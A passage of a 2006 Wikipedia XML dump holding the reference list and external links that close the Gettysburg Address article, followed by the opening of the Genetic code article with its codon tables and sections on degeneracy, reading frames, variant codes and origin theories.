 | title = Abraham Lincoln in the Wills House Bedroom at Gettysburg
 | url = http://showcase.netins.net/web/creative/lincoln/tours/gettyroom.htm
 | accessdate = 2005-12-18
 }}
# {{note|Johnson}} {{cite journal
 | last = Johnson
 | first = Martin P.
 | title = Who Stole the Gettysburg Address
 | journal = Journal of the Abraham Lincoln Association
 | volume = 24
 | issue = 2
 | date = Summer 2003
 | pages = 1–19
 }}
# {{note|showcase.netins.net.267}} {{cite web
 | title = Abraham Lincoln at the Gettysburg Town Square
 | url = http://showcase.netins.net/web/creative/lincoln/tours/gettysquare.htm
 | accessdate = 2005-12-18
 }}
# {{note|showcase.netins.net.268}} {{cite web
 | title = Saddle Used by Abraham Lincoln in Gettysburg
 | url = http://showcase.netins.net/web/creative/lincoln/tours/gettysaddle.htm
 | accessdate = 2005-12-18
 }}
# {{note|NYT}}  The [[New York Times]], November 20, 1863.
# {{note|showcase.netins.net.269}} {{cite web
 | title = Abraham Lincoln at Gettysburg Cemetery
 | url = http://showcase.netins.net/web/creative/lincoln/tours/gettycem2.htm
 | accessdate = 2005-12-18
 }}
# {{note|www.gettysburg.com.270}} {{cite web
 | title = getaddinfo
 | url = http://www.gettysburg.com/bog/ga.htm
 | accessdate = 2005-12-18
 }}
# {{note|douglassarchives.org.271}} {{cite web
 | title = Edward Everett's complete &quot;Gettysburg Oration&quot;
 | url = http://douglassarchives.org/ever_b21.htm
 | accessdate = 2005-12-18
 }}
# {{note|LOC}} Library of Congress website, [http://www.loc.gov/exhibits/gadd/images/frstdrt1.jpg Nicolay Copy, page 1], [http://www.loc.gov/exhibits/gadd/images/frstdrt2.jpg page 2]
# {{note|Nicolay}}  Nicolay, J.  &quot;Lincoln's Gettysburg Address,&quot; Century Magazine 47 (February 1894): 596–608, cited by Johnson, Martin P.  &quot;Who Stole the Gettysburg Address,&quot; Journal of the Abraham Lincoln Association 24(2) (Summer 2003): 1-19.
#{{note|americantreasures}} Library of Congress website, [http://www.loc.gov/exhibits/treasures/tr00.html Top Treasures of the American Treasures exhibition]
# {{note|LOC3}} Library of Congress website, [http://www.loc.gov/exhibits/gadd/images/secdrt1.jpg Hay Copy, page 1], [http://www.loc.gov/exhibits/gadd/images/secdrt2.jpg page 2]
# {{note|GNMP}} {{note_label|GNMP|1|a}} {{note_label|GNMP|1|b}} Gettysburg National Military Park Historical Handbook website, http://www.pueblo.gsa.gov/cic_text/misc/gettysburg/g2.htm GNMP website]
# {{note|VG}} Virtual Gettysburg website, [http://www.virtualgettysburg.com/exhibit/lincoln/images/everettZ.jpg Everett Copy]
# {{note|Cornell}} Cornell University Library website, [http://rmc.library.cornell.edu/gettysburg/good_cause/address_pic_p1_legible.htm Bancroft Copy, page 1], [http://rmc.library.cornell.edu/gettysburg/good_cause/address_pic_p2_legible.htm page 2]
# {{note|www.cornellsun.com.273}} {{cite web
 | title = The Cornell Daily Sun - C.U. Holds Gettysburg Address Manuscript
 | url = http://www.cornellsun.com/vnews/display.v/ART/2005/04/07/4254ce15e8c77?in_archive=1
 | accessdate = 2005-12-18
 }}
# {{note|IHPA}} Illinois Historic Preservation Agency website, [http://www.papersofabrahamlincoln.org/images/GABliss1.jpg Bliss Copy, page 1], [http://www.papersofabrahamlincoln.org/images/GABliss2.jpg page 2], [http://www.papersofabrahamlincoln.org/images/GABliss3.jpg page 3]
# {{note|cintas}} {{cite web
 | title = Oscar B. Cintas foundation website.
 | url = http://www.cintasfoundation.org/about_oscar.htm
 | accessdate = 2005-12-23
 }}
# {{note|www.bartleby.com.274}} {{cite web
 | title = V. The Speech at Gettysburg by Abraham Lincoln. America: II. (1818-1865). Vol. IX. Bryan, William Jennings, ed. 1906. The World's Famous Orations
 | url = http://www.bartleby.com/268/9/26.html#txt2
 | accessdate = 2005-12-18
 }}
# {{note|www.ap.org.275}} {{cite web
 | title = History/Archives : The Associated Press
 | url = http://www.ap.org/pages/about/history/history_first.html
 | accessdate = 2005-12-18
 }}
# {{note|showcase.netins.net.276}} {{cite web
 | title = Recollections of Abraham Lincoln at Gettysburg
 | url = http://showcase.netins.net/web/creative/lincoln/news/recollect.htm
 | accessdate = 2005-12-18
 }}
# {{note|Foote}} {{cite book
 | authorlink = Shelby Foote
 | last = Foote
 | first = Shelby
 | title = The Civil War, A Narrative: Fredericksburg to Meridian
 | publisher = Random House
 | date = 1958
 | id = ISBN 0-394-49517-9
 }}
# {{note|showcase.netins.net.277}} {{cite web
 | title = Abraham Lincoln at Gettysburg Cemetery (See above)
 | url = http://showcase.netins.net/web/creative/lincoln/tours/gettycem2.htm
 | accessdate = 2005-12-18
 }}
# {{note|Vosmeier}} {{cite web
 | last = Vosmeier
 | first = Matthew Noah
 | title = Lincoln Lore: Gary Wills' ''Lincoln at Gettysburg''
 | publisher =  The Lincoln Museum, Fort Wayne, Indiana
 | url = http://www.thelincolnmuseum.org/new/publications/1835.html
 | accessdate = December 16
 | accessyear = 2005
 }}
# {{note|McPherson}} {{cite journal
 | last = McPherson
 | first = James
 | title = The Art of Abraham Lincoln
 | journal = The New York Review of Books
 | volume = 39
 | issue = 13
 | date = July 16, 1992
 }}
# {{note|www.constitution.org.278}} {{cite web
 | title = Pericles' Funeral Oration from Thucydides: Peloponnesian War
 | url = http://www.constitution.org/gr/pericles_funeral_oration.htm
 | accessdate = 2005-12-18
 }}
# {{note|www.nybooks.com.279}} {{cite web
 | title = The New York Review of Books: The Art of Abraham Lincoln
 | url = http://www.nybooks.com/articles/2852
 | accessdate = 2005-12-18
 }}
# {{note|www.acjournal.org.280}} {{cite web
 | title = ACJ Special:Smith
 | url = http://www.acjournal.org/holdings/vol4/iss1/special/smith.htm
 | accessdate = 2005-12-18
 }}
# {{note|www.dartmouth.edu.281}} {{cite web
 | title = The Second Reply to Hayne (January 26-27, 1830)
 | url = http://www.dartmouth.edu/~dwebster/speeches/hayne-speech.html
 | accessdate = 2005-12-18
 }}
# {{note|refbot.282}} {{cite web
 | title = H-Net Review: Daniel J. McInerney
 | url = http://www.h-net.org/reviews/showrev.cgi?path=24004970690837
 | accessdate = 2005-12-18
 }}
# {{note|Guelzo}} {{cite book
 | first = Allen C.
 | last = Guelzo
 | title = Abraham Lincoln: Redeemer President
 | location = Grand Rapids, Michigan
 | publisher = William B. Eerdmans Publishing
 | date = 1999
 | id = ISBN 0802838723
 }}
# {{note|www.lewrockwell.com.284}} {{cite web
 | title = Note on the Gettysburg Address
 | url = http://www.lewrockwell.com/orig/mencken2.html
 | accessdate = 2005-12-18
 }}
# {{note|www.thelincolnmuseum.org.285}} {{cite web
 | title = Lincoln urban legends debunked
 | url = http://www.thelincolnmuseum.org/new/research/stories.html
 | accessdate = 2005-12-18
 }}
# {{note|Bachrach}} {{cite web
 | title = History of Bachrach photography studio
 | url = http://www.bachrachinc.com/news.html
 | accessdate = 2005-12-19 }}
# {{note|preservation}} {{cite web
 | title = Preservation of the drafts of the Gettysburg Address at the Library of Congress
 | url = http://www.loc.gov/exhibits/gadd/gapres.html
 | accessdate = 2005-12-18 }}
&lt;/div&gt;

==External links==
*Note on the Gettysburg Address [http://www.lewrockwell.com/orig/mencken2.html by H.L. Mencken]
*Gettysburg Address exhibit at the [http://www.loc.gov/exhibits/gadd/gadrft.html Library of Congress, Washington, DC]
*Carl A. Kroch library [http://rmc.library.cornell.edu/gettysburg/good_cause/five_copies.htm Division of Rare &amp; Manuscript Collections, Cornell University, Ithaca, NY]
*Gettysburg National Military Park (GNMP) [http://www.pueblo.gsa.gov/cic_text/misc/gettysburg/g2.htm Gettysburg Historical Handbook]
*The Lincoln Museum website, [http://www.thelincolnmuseum.org/new/research/stories.html urban legends debunked]
* Complete text of Edward Everett's [http://douglassarchives.org/ever_b21.htm &quot;Gettysburg Oration&quot;]
* Abraham Lincoln's [http://members.aol.com/RVSNorton1/Lincoln58.html Invitation to speak at Gettysburg]
* Readings of the Gettysburg Address:  [http://www.fiftiesweb.com/usa/gettysburg-address.htm actors Sam Waterston, Jeff Daniels; musician Johnny Cash.]
* Website of [[National Public Radio]] with Waterston [http://www.npr.org/templates/story/story.php?storyId=1512410 reading.]
*Contemporary newspaper reactions cited at [http://rmc.library.cornell.edu/gettysburg/ideas_more/reactions_p1.htm#chicago_tribune Cornell University Library exhibit.]
*A humorous [http://www.norvig.com/Gettysburg/index.htm PowerPoint version of the Gettysburg Address]
*[http://www.jr.co.il/humor/yiddish.txt Translated] into [[Yeshivish]]

===Analysis===
*[http://130.18.140.19/stennis/lincolnatgettysburg.html John C. Stennis Institute of Government]
*[http://www.ourdocuments.gov/doc.php?flash=true&amp;doc=36 Our Documents: A National Initiative on American History, Civics, and Service]
*[http://www.learner.org/biographyofamerica/prog12/transcript/page02.html The Annenberg/CPB Channel]

{{Featured article}}

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    </revision>
  </page>
  <page>
    <title>Genetic code</title>
    <id>12385</id>
    <revision>
      <id>41898335</id>
      <timestamp>2006-03-02T13:33:18Z</timestamp>
      <contributor>
        <ip>216.242.114.115</ip>
      </contributor>
      <comment>/* Table 1: RNA codon table */</comment>
      <text xml:space="preserve">[[Image:RNA-codon.png|thumb|[[RNA]] codons.]]
The '''genetic code''' is a set of rules that [[mapping|map]]s [[DNA sequence]]s to [[protein]]s in the living [[cell (biology)|cell]], and is employed in the process of [[protein biosynthesis|protein synthesis]].  Nearly all living things use the same genetic code, called the '''standard genetic code''', although a few organisms use minor variations of the standard code.

==Genome expression==

The genetic information carried by an organism - its [[genome]] - is inscribed in one or more [[DNA]] molecules. Each functional portion of a DNA molecule is referred to as a [[gene]].  Each gene is [[transcription (genetics)|transcribed]] into a short template molecule of the related polymer [[RNA]], which is better suited for protein synthesis. This in turn is [[translation (genetics)|translated]] by mediation of a machinery consisting of [[ribosome]]s and a set of [[transfer RNA]]s and associated [[enzyme]]s into an [[amino acid]] chain ([[peptide|polypeptide]]), which will then be folded into a [[protein]].

The gene sequence inscribed in DNA, and in RNA, is composed of tri-nucleotide units called '''codons''', each coding for a single amino acid. Each nucleotide sub-unit consists of a [[phosphate]], [[deoxyribose]] sugar and one of the 4 nitrogenous [[nucleotide]] bases grouped into 2 categories, [[purine]] and [[pyrimidine]]. The [[purine]] bases [[adenine]] ('''A''') and [[guanine]] ('''G''') are larger and consist of two aromatic rings. The [[pyrimidine]] bases [[cytosine]] ('''C''') and [[thymine]] ('''T''') are smaller and consist of only one aromatic ring. In RNA, however, thymine ('''T''') is substituted by [[uracil]] ('''U'''), and the deoxyribose is substituted by [[ribose]].

Overall, there are 4&lt;sup&gt;3&lt;/sup&gt; = 64 different codon combinations.  For example, the RNA sequence UUUAAACCC contains the codons UUU, AAA and CCC, each of which specifies one amino acid.  So, this RNA sequence represents a protein sequence, three amino acids long.  ([[DNA]] is also a sequence of nucleotide bases, but there [[thymine]] takes the place of uracil.)

The standard genetic code is shown in the following tables. [[#Table 1: Codon Table|Table 1]] shows what amino acid each of the 64 codons specifies.   [[#Table 2: Reverse Codon Table|Table 2]] shows what codons specify each of the 20 standard amino acids involved in translation.  These are called forward and reverse codon tables, respectively.  For example, the codon AAU represents the amino acid [[asparagine]] (Asn), and [[cysteine]] (Cys) is represented by UGU and by UGC.

==Table 1: RNA codon table==

&lt;table id=&quot;Table 1&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;&gt;
&lt;caption&gt;
This table shows the 64 codons and the amino acid each codon codes for.
&lt;/caption&gt;

&lt;tr&gt;
&lt;td rowspan=2 colspan=2&gt;&lt;/td&gt;
&lt;th colspan=4 border=0&gt;2nd base&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;U&lt;/th&gt;
&lt;th&gt;C&lt;/th&gt;
&lt;th&gt;A&lt;/th&gt;
&lt;th&gt;G&lt;/th&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th rowspan=&quot;4&quot; border=&quot;0&quot;&gt;1st&lt;br /&gt;base&lt;/th&gt;
&lt;th&gt;U&lt;/th&gt;
&lt;td&gt;
UUU  (Phe/F)[[Phenylalanine]]&lt;br /&gt;
UUC  (Phe/F)[[Phenylalanine]]&lt;br /&gt;
UUA  (Leu/L)[[Leucine]]&lt;br /&gt;
UUG  (Leu/L)[[Leucine]], ''Start''&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
UCU  (Ser/S)[[Serine]]&lt;br /&gt;
UCC  (Ser/S)[[Serine]]&lt;br /&gt;
UCA  (Ser/S)[[Serine]]&lt;br /&gt;
UCG  (Ser/S)[[Serine]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
UAU  (Tyr/Y)[[Tyrosine]]&lt;br /&gt;
UAC  (Tyr/Y)[[Tyrosine]]&lt;br /&gt;
UAA  Ochre (''Stop'')&lt;br /&gt;
UAG  Amber (''Stop'')&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
UGU  (Cys/C)[[Cysteine]]&lt;br /&gt;
UGC  (Cys/C)[[Cysteine]]&lt;br /&gt;
UGA  Opal (''Stop'')&lt;br /&gt;
UGG  (Trp/W)[[Tryptophan]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
U &lt;br /&gt;
C &lt;br /&gt;
A &lt;br /&gt;
G &lt;br /&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;C&lt;/th&gt;
&lt;td&gt;
CUU  (Leu/L)[[Leucine]]&lt;br /&gt;
CUC  (Leu/L)[[Leucine]]&lt;br /&gt;
CUA  (Leu/L)[[Leucine]]&lt;br /&gt;
CUG  (Leu/L)[[Leucine]], ''Start''&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
CCU  (Pro/P)[[Proline]]&lt;br /&gt;
CCC  (Pro/P)[[Proline]]&lt;br /&gt;
CCA  (Pro/P)[[Proline]]&lt;br /&gt;
CCG  (Pro/P)[[Proline]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
CAU  (His/H)[[Histidine]]&lt;br /&gt;
CAC  (His/H)[[Histidine]]&lt;br /&gt;
CAA  (Gln/Q)[[Glutamine]]&lt;br /&gt;
CAG  (Gln/Q)[[Glutamine]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
CGU  (Arg/R)[[Arginine]]&lt;br /&gt;
CGC  (Arg/R)[[Arginine]]&lt;br /&gt;
CGA  (Arg/R)[[Arginine]]&lt;br /&gt;
CGG  (Arg/R)[[Arginine]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
U &lt;br /&gt;
C &lt;br /&gt;
A &lt;br /&gt;
G &lt;br /&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;A&lt;/th&gt;
&lt;td&gt;
AUU  (Ile/I)[[Isoleucine]], ''Start''&lt;sup&gt;2&lt;/sup&gt;&lt;br /&gt;
AUC  (Ile/I)[[Isoleucine]]&lt;br /&gt;
AUA  (Ile/I)[[Isoleucine]]&lt;br /&gt;
AUG  (Met/M)[[Methionine]], ''Start''&lt;sup&gt;1&lt;/sup&gt;&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
ACU  (Thr/T)[[Threonine]]&lt;br /&gt;
ACC  (Thr/T)[[Threonine]]&lt;br /&gt;
ACA  (Thr/T)[[Threonine]]&lt;br /&gt;
ACG  (Thr/T)[[Threonine]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
AAU  (Asn/N)[[Asparagine]]&lt;br /&gt;
AAC  (Asn/N)[[Asparagine]]&lt;br /&gt;
AAA  (Lys/K)[[Lysine]]&lt;br /&gt;
AAG  (Lys/K)[[Lysine]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
AGU  (Ser/S)[[Serine]]&lt;br /&gt;
AGC  (Ser/S)[[Serine]]&lt;br /&gt;
AGA  (Arg/R)[[Arginine]]&lt;br /&gt;
AGG  (Arg/R)[[Arginine]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
U &lt;br /&gt;
C &lt;br /&gt;
A &lt;br /&gt;
G &lt;br /&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;th&gt;G&lt;/th&gt;
&lt;td&gt;
GUU  (Val/V)[[Valine]]&lt;br /&gt;
GUC  (Val/V)[[Valine]]&lt;br /&gt;
GUA  (Val/V)[[Valine]]&lt;br /&gt;
GUG  (Val/V)[[Valine]], ''Start''&lt;sup&gt;2&lt;/sup&gt;&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
GCU  (Ala/A)[[Alanine]]&lt;br /&gt;
GCC  (Ala/A)[[Alanine]]&lt;br /&gt;
GCA  (Ala/A)[[Alanine]]&lt;br /&gt;
GCG  (Ala/A)[[Alanine]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
GAU  (Asp/D)[[Aspartic acid]]&lt;br /&gt;
GAC  (Asp/D)[[Aspartic acid]]&lt;br /&gt;
GAA  (Glu/E)[[Glutamic acid]]&lt;br /&gt;
GAG  (Glu/E)[[Glutamic acid]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
GGU  (Gly/G)[[Glycine]]&lt;br /&gt;
GGC  (Gly/G)[[Glycine]]&lt;br /&gt;
GGA  (Gly/G)[[Glycine]]&lt;br /&gt;
GGG  (Gly/G)[[Glycine]]&lt;br /&gt;
&lt;/td&gt;
&lt;td&gt;
U &lt;br /&gt;
C &lt;br /&gt;
A &lt;br /&gt;
G &lt;br /&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;sup&gt;1&lt;/sup&gt;The codon AUG both codes for methionine and serves as an initiation site: the first AUG in an [[mRNA]]'s coding region is where translation into protein begins.
&lt;br /&gt;
&lt;sup&gt;2&lt;/sup&gt;This is a start codon for [[prokaryotes]] only.

==Table 2: Reverse codon table==

&lt;table border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;&gt;
&lt;caption&gt;
This table shows the 20 standard amino acids used in proteins, and the codons that code for each amino acid.
&lt;/caption&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Ala'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;A&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;GCU, GCC, GCA, GCG&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Leu'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;L&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;UUA, UUG, CUU, CUC, CUA,
CUG &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Arg'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;R&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;CGU, CGC, CGA, CGG, AGA, AGG&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Lys'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;K&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;AAA, AAG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Asn'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;N&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;AAU, AAC&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Met'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;M&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;AUG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Asp'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;D&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;GAU, GAC&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Phe'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;F&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;UUU, UUC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Cys'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;C&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;UGU, UGC&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Pro'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;P&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;CCU, CCC, CCA, CCG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Gln'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;Q&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;CAA, CAG&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Ser'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;S&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;UCU, UCC, UCA, UCG, AGU,AGC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Glu'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;E&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;GAA, GAG&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Thr'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;T&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;ACU, ACC, ACA, ACG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Gly'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;G&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;GGU, GGC, GGA, GGG&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Trp'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;W&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;UGG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''His'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;H&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;CAU, CAC&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Tyr'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;Y&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;UAU, UAC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Ile'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;I&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;AUU, AUC, AUA&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''Val'''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;V&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;GUU, GUC, GUA, GUG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''''Start'''''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;AUG, CUG, UUG, GUG, AUU&lt;/td&gt;
&lt;td align=&quot;center&quot; valign=&quot;top&quot;&gt;'''''Stop'''''&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;UAG, UGA, UAA&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;


[[Marshall W. Nirenberg]] and [[Heinrich J. Matthaei]] at the [[National Institutes of Health]] performed the experiments that first elucidated the correspondence between the codons and the amino acids that they code. [[Har Gobind Khorana]] expanded on Nirenberg's work and found the codes for the amino acids that Nirenberg's methods could not find. Khorana and Nirenberg won a share of the 1968 [[Nobel Prize in Physiology or Medicine]] for this work.

==Technical details==


=== Start/stop codons ===
In classical genetics, the stop codons were given names: UAG was ''amber'', UGA was ''opal'', and UAA was ''ochre''.  These names were originally the names of the specific genes in which mutation of each of these stop codons was first detected.

Translation starts with a chain initiation codon (start codon).  Unlike stop codons, the codon alone is not sufficient to begin the process; nearby initiation sequences are also required to induce transcription into [[mRNA]] and binding by [[ribosome]]s.  The most notable start codon is AUG, which also codes for methionine.  CUG and UUG, and in [[prokaryotes]] GUG and AUU, also function as start codons, but occur much less frequently.

Stop codons are also called [[Terminator (genetics)|terminators]].

=== Degeneracy of the genetic code ===
Many codons are '''degenerate''' or '''redundant''', meaning that two or more codons may code for the same amino acid. Degenerate codons typically differ in their third positions; e.g., both GAA and GAG code for the amino acid [[glutamic acid]]. A codon is said to be '''four-fold degenerate''' if any nucleotide at its third position specifies the same amino acid; it is said to be '''two-fold degenerate''' if only two of four possible nucleotides at its third position specify the same amino acid. In two-fold degenerate codons, the equivalent third position nucleotides are always either two [[purine]]s (A/G) or two [[pyrimidine]]s (C/T).  The degeneracy of the genetic code is what accounts for the existence of [[silent mutations]].

Degeneracy is required in order to produce enough different codons to code for 20 amino acids and a stop and start codon (at least 22 codons required). Because there are four different bases, triplet codons are the minimum number required to produce at least 22 different codes. For example, if there were two bases per codon, then only 16 amino acids could be coded for (4&amp;sup2;=16). Because at least 22 codes are required, then 4&amp;sup3; gives 64, which is the number of possible codons.

These properties of the genetic code make it more fault-tolerant for [[point mutation]]s. For example, four-fold degenerate codons can tolerate any point mutation at the third position; two-fold degenerate codons can tolerate one out of the three possible point mutations at the third position. Since transition mutations (purine to purine or pyrimidine to pyrimidine mutations) are more likely than transversion (purine to pyrimidine or vice-versa) mutations, the equivalence of purines or that of pyrimidines at two-fold degenerate sites adds a further fault-tolerance.

A practical consequence of redundancy is that some errors in the genetic code only cause either a silent mutation or an error that would not affect the amino acid's [[hydrophilic]]/[[hydrophobic]] property; e.g., a codon of XUX (where X = any nucleotide) tends to code for hydrophobic amino acids. Even so, it is a single point mutation that causes a modified [[hemoglobin]] molecule in [[sickle-cell disease]]. The hydrophilic [[glutamate]] (Glu) is substituted by the hydrophobic [[valine]] (Val), which reduces the solubility of ß-globin. This causes [[hemoglobin]] to form linear polymers linked by the hydrophobic interaction between the valine groups causing sickle-cell deformation of erythrocytes. Sickle-cell disease is generally not caused by a ''[[de novo]]'' mutation. Rather it is selected for in [[malaria|malarial]] regions (in a similar way to [[thalassemia]]), as [[heterozygote|heterozygous]] people have some resistance to the malarial ''[[Plasmodium]]'' parasite ([[heterozygote advantage]]).

In general, these properties are widely interpreted to form part of the reason for the origin of the standard genetic code [see below].

These variable codes for amino acids are possible because of modified bases in the first base of the [[anticodon]], and the basepair formed is called a [[wobble base pair]].  The modified bases include [[inosine]] and the U-G basepair.

Only two amino acids are specified by a single codon; one of these is the amino-acid [[methionine]], specified by the codon AUG, which also specifies the start of transcription; the other is [[tryptophan]], specified by the codon UGG.

=== Phase or reading frame of a sequence ===
Note that a &quot;codon&quot; is entirely defined by your starting position. For example, the string GGGAAACCC, if read from the first position, contains the codons GGG, AAA and CCC. If read from the second position, it contains the codons GGA and AAC (partial codons being ignored). If read starting from the third position, GAA and ACC. Every DNA sequence can thus be read in three '''reading frames''', each of which will produce a radically different amino acid sequence (in our example, Gly-Lys-Pro, Gly-Asp, and Glu-Thr, respectively). The actual frame a protein sequence is translated in is defined by a '''start codon''', usually the first occurrence of AUG in the RNA sequence. Mutations that disrupt the reading frame (i.e. insertions or deletions of one or two nucleotide bases) severely impair the function of a protein and are thus exceedingly rare in ''[[in vivo]]'' protein-coding sequences, since they often lead to death before an organism is viable.

==Variations==

Numerous variations of the standard genetic code are found in [[mitochondrion|mitochondria]], which are energy-producing [[organelles]].  [[Ciliate]] [[protozoa]] also have some variation in the genetic code: UAG and often UAA code for Glutamine (a variant also found in some [[green alga]]e), or UGA codes for Cysteine.  Another variant is found in some species of the [[yeast]] [[Candida (genus)|candida]], where CUG codes for [[Serine]].  

In certain proteins, non-standard amino acids are substituted for standard stop codons, depending upon associated signal sequences in the messenger RNA: UGA can code for [[selenocysteine]] and UAG can code for [[pyrrolysine]] (for details, see the articles on these two amino acids).  There may be other non-standard interpretations that are not yet known.

==Origin of the genetic code==
Despite the variations that exist, the genetic codes used by all known forms of life on Earth are very similar.  Since there are many possible genetic codes that are thought to have similar utility to the one used by Earth life, the theory of [[evolution]] suggests that the genetic code was established very early in the history of life.

One can ask the question: is the genetic code completely random, just one set of codon-amino acid correspondences that happened to establish itself and be &quot;frozen in&quot; early in evolution, although ''functionally'' any other of the near-infinite set of possible transcription tables would have done just as well? Already a cursory look at the table shows patterns that suggest that this is not the case.

There are three themes running through the many theories that seek to explain the evolution of the genetic code (and hence the origin of these patterns){{fn|1}}. One is illustrated by recent [[aptamer]] experiments which show that some amino acids have a selective chemical affinity for the base triplets that code for them.{{fn|2}} This suggests that the current, complex transcription mechanism involving [[tRNA]] and associated enzymes may be a later development, and that originally, protein sequences were directly templated on base sequences. Another is that the standard genetic code that we see today grew from a simpler, earlier code through a process of &quot;biosynthetic expansion&quot;. Here the idea is that primordial life 'invented' new amino acids (e.g. as by-products of metabolism) and later back-incorporated some of these into the machinery of genetic coding. Although much circumstantial evidence has been found to indicate that originally the number of different amino acids used may have been considerably smaller than today{{fn|3}}, precise and detailed hypotheses about exactly which amino acids entered 